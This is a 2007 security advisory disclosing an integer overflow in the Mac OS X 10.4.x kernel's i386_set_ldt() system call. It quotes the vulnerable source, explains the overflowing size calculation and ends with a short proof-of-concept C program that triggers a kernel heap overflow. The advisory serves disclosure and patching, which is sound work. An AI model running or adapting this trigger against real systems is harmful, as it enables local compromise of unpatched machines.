-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Apple Mac OS X 10.4.x Kernel i386_set_ldt() Integer Overflow Vulnerability http://risesecurity.org/advisory/RISE-2007004/ Published: November 16, 2007 Updated: November 16, 2007 INTRODUCTION There exists a vulnerability within an architecture dependent function of the Apple Mac OS X 10.4.x kernel, which when properly exploited can lead to local compromise of the vulnerable system. This vulnerability was confirmed by us in the following versions of the Apple operating system, other versions may be also affected. Apple Mac OS X 10.4.10 Apple Mac OS X 10.4.9 Apple Mac OS X 10.4.8 Apple Mac OS X Server 10.4.10 Apple Mac OS X Server 10.4.9 Apple Mac OS X Server 10.4.8 DETAILS The i386_set_ldt() system call will set a list of i386 descriptors for the current process in its LDT. It accepts a starting selector number start_sel, an array of memory that will contain the descriptors to be set descs, and the number of entries to set num_sels. int i386_set_ldt( int *retval, uint32_t start_sel, uint32_t descs, /* out */ uint32_t num_sels) { user_ldt_t new_ldt, old_ldt; struct real_descriptor *dp; unsigned int i; unsigned int min_selector = LDTSZ_MIN; /* do not allow the system selectors to be changed */ task_t task = current_task(); unsigned int ldt_count; kern_return_t err; The vulnerable function does not validate the number of entries to set num_sels properly. When setting a valid integer value as starting selector number start_sel, and a integer value higher than 0xffffffff - start_sel as number of entries to set num_sels, it results in a integer overflow in start_sel + num_sels expression, with its value being lower than LDTSZ. if (start_sel != LDT_AUTO_ALLOC && (start_sel != 0 || num_sels != 0) && (start_sel < min_selector || start_sel >= LDTSZ)) return EINVAL; if (start_sel != LDT_AUTO_ALLOC && start_sel + num_sels > LDTSZ) return EINVAL; A new LDT is allocated using the kalloc() function, with its size argument being sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor)). /* * Allocate new LDT */ unsigned int begin_sel = start_sel; unsigned int end_sel = begin_sel + num_sels; if (old_ldt != NULL) { if (old_ldt->start < begin_sel) begin_sel = old_ldt->start; if (old_ldt->start + old_ldt->count > end_sel) end_sel = old_ldt->start + old_ldt->count; } ldt_count = end_sel - begin_sel; new_ldt = (user_ldt_t)kalloc(sizeof(struct user_ldt) + (ldt_count * sizeof(struct real_descriptor))); if (new_ldt == NULL) { task_unlock(task); return ENOMEM; } new_ldt->start = begin_sel; new_ldt->count = ldt_count; When installing the new descriptors, the contents of memory pointed to by descs are copied into the new allocated LDT using the copyin() function, with its size argument being num_sels * sizeof(struct real_descriptor). This operation results in a buffer overflow in the new allocated LDT. /* * Install new descriptors. */ if (descs != 0) { err = copyin(descs, (char *)&new_ldt->ldt[start_sel - begin_sel] , num_sels * sizeof(struct real_descriptor)); if (err != 0) { task_unlock(task); user_ldt_free(new_ldt); return err; } A proof of concept code that triggers this vulnerability can be found in appendix section of this document. VENDOR Apple corrected this vulnerability in Apple Mac OS X 10.4.11. More information is available at http://docs.info.apple.com/article.html?artnum=307041 CREDITS This vulnerability was discovered by Adriano Lima and Ramon de Carvalho Valle . DISCLAIMER The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected. APPENDIX osx-x86-ldt.c #include #include #include #include #include #include #include int main(void) { union ldt_entry descs; char *buf; u_long pgsz = sysconf(_SC_PAGESIZE); if ((buf = (char *)malloc(pgsz * 4)) == -1) { perror("malloc"); exit(EXIT_FAILURE); } memset(buf, 0x41, pgsz * 4); buf = (char *)(((u_long)buf & ~pgsz) + pgsz); if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz, PROT_WRITE) == -1) { perror("mprotect"); exit(EXIT_FAILURE); } /* * This will result in kalloc() size argument being 0x00000000 and copyin() * size argument being 0xfffffff8. */ if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) { perror("i386_set_ldt"); exit(EXIT_FAILURE); } exit(EXIT_SUCCESS); } $Id: RISE-2007004.txt 13 2007-11-16 02:58:56Z ramon $ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFHPQixhFjK78TGSUERAmJ5AKC+nbz0KiGcg0ZejSU28bOdpy1vZwCgng+j s3+jqsz8JohpM474nNeJc0A= =DvfH -----END PGP SIGNATURE-----